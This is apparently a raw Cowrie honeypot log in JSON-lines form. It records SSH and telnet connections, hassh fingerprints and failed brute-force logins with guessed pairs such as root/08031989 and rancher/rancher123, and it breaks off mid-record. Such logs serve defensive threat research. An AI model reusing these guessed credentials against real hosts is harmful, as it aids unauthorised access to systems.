{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:00.899404Z","src_ip":"91.92.40.36","session":"a250a640fa3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher123","message":"login attempt [rancher/rancher123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:02.901734Z","src_ip":"91.92.40.36","session":"a250a640fa3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":51938,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c222c1fb73a","protocol":"ssh","message":"New connection: 147.45.211.215:51938 (10.17.0.5:22) [session: 1c222c1fb73a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:03.303668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:03.308882Z","src_ip":"147.45.211.215","session":"1c222c1fb73a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:03.482296Z","src_ip":"147.45.211.215","session":"1c222c1fb73a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"08031989","message":"login attempt [root/08031989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:04.014164Z","src_ip":"147.45.211.215","session":"1c222c1fb73a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:04.400124Z","src_ip":"91.92.40.36","session":"a250a640fa3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:05.190634Z","src_ip":"147.45.211.215","session":"1c222c1fb73a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27950,"dst_ip":"10.17.0.5","dst_port":22,"session":"85172ff837c7","protocol":"ssh","message":"New connection: 91.92.40.36:27950 (10.17.0.5:22) [session: 85172ff837c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:08.500622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:08.702671Z","src_ip":"91.92.40.36","session":"85172ff837c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:08.706079Z","src_ip":"91.92.40.36","session":"85172ff837c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":50136,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4363d051bef","protocol":"ssh","message":"New connection: 45.123.217.22:50136 (10.17.0.5:22) [session: d4363d051bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:09.065836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:09.071328Z","src_ip":"45.123.217.22","session":"d4363d051bef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3ioj0u0uO(_I@jieee","message":"login attempt [root/3ioj0u0uO(_I@jieee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:09.713051Z","src_ip":"91.92.40.36","session":"85172ff837c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:10.736487Z","src_ip":"45.123.217.22","session":"d4363d051bef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:11.058804Z","src_ip":"91.92.40.36","session":"85172ff837c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mm123456@","message":"login attempt [root/Mm123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:11.742131Z","src_ip":"45.123.217.22","session":"d4363d051bef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":36886,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f09e006c034","protocol":"ssh","message":"New connection: 160.187.180.146:36886 (159.203.135.109:22) [session: 7f09e006c034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:12.489974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:12.494956Z","src_ip":"160.187.180.146","session":"7f09e006c034","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:12.704270Z","src_ip":"160.187.180.146","session":"7f09e006c034","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:12.987314Z","src_ip":"45.123.217.22","session":"d4363d051bef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:13.586017Z","src_ip":"160.187.180.146","session":"7f09e006c034","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:14.795187Z","src_ip":"160.187.180.146","session":"7f09e006c034","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30470,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f4ec6bcc64f","protocol":"ssh","message":"New connection: 91.92.40.36:30470 (10.17.0.5:22) [session: 6f4ec6bcc64f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:17.787690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:18.352275Z","src_ip":"91.92.40.36","session":"6f4ec6bcc64f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.62861704826355,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:19.257966Z","src_ip":"128.199.8.54","session":"d3e981a46b5a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:19.262587Z","src_ip":"91.92.40.36","session":"6f4ec6bcc64f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30526,"dst_ip":"10.17.0.5","dst_port":22,"session":"e007658d5aa4","protocol":"ssh","message":"New connection: 91.92.40.36:30526 (10.17.0.5:22) [session: e007658d5aa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:24.834862Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":50644,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a8660b10fa8","protocol":"ssh","message":"New connection: 103.84.236.242:50644 (159.203.135.109:22) [session: 3a8660b10fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:24.876647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:24.880934Z","src_ip":"103.84.236.242","session":"3a8660b10fa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:25.111254Z","src_ip":"103.84.236.242","session":"3a8660b10fa8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:25.324346Z","src_ip":"91.92.40.36","session":"e007658d5aa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dst","password":"dst","message":"login attempt [dst/dst] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:25.466815Z","src_ip":"91.92.40.36","session":"6f4ec6bcc64f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:26.031270Z","src_ip":"91.92.40.36","session":"e007658d5aa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway123","message":"login attempt [gateway/gateway123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:26.068366Z","src_ip":"103.84.236.242","session":"3a8660b10fa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:27.301974Z","src_ip":"103.84.236.242","session":"3a8660b10fa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:27.568295Z","src_ip":"91.92.40.36","session":"6f4ec6bcc64f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":60694,"dst_ip":"10.17.0.5","dst_port":22,"session":"a34236cfaa43","protocol":"ssh","message":"New connection: 45.78.204.254:60694 (10.17.0.5:22) [session: a34236cfaa43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:30.787279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:30.791561Z","src_ip":"45.78.204.254","session":"a34236cfaa43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60364,"dst_ip":"10.17.0.5","dst_port":22,"session":"70e824a46b4a","protocol":"ssh","message":"New connection: 91.92.40.36:60364 (10.17.0.5:22) [session: 70e824a46b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:30.992313Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 